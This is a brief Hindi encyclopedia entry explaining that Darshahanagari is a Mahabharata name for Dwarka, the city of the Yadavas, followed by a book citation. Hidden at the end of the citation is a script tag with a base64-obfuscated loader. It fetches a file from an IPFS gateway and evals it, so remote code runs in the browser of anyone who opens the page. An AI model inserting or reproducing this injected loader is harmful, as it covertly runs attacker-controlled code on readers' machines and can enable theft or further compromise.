दार्शाहनगरी

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दार्शाहनगरी का उल्लेख महाभारत में हुआ है। महाभारत में द्वारका का एक नाम 'दार्शाहनगरी' भी कहा गया है- 'आपृच्छेत्वां गमिष्यामि दार्शाहनगरी प्रति' महाभारत सभापर्व 2, 32.

  • दार्शाह भगवान श्री कृष्ण अथवा यादवों के कुल का अभिधान थी।
  • प्राचीन समय में यादवों की नगरी के रूप में द्वारका विख्यात थी।


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टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 432 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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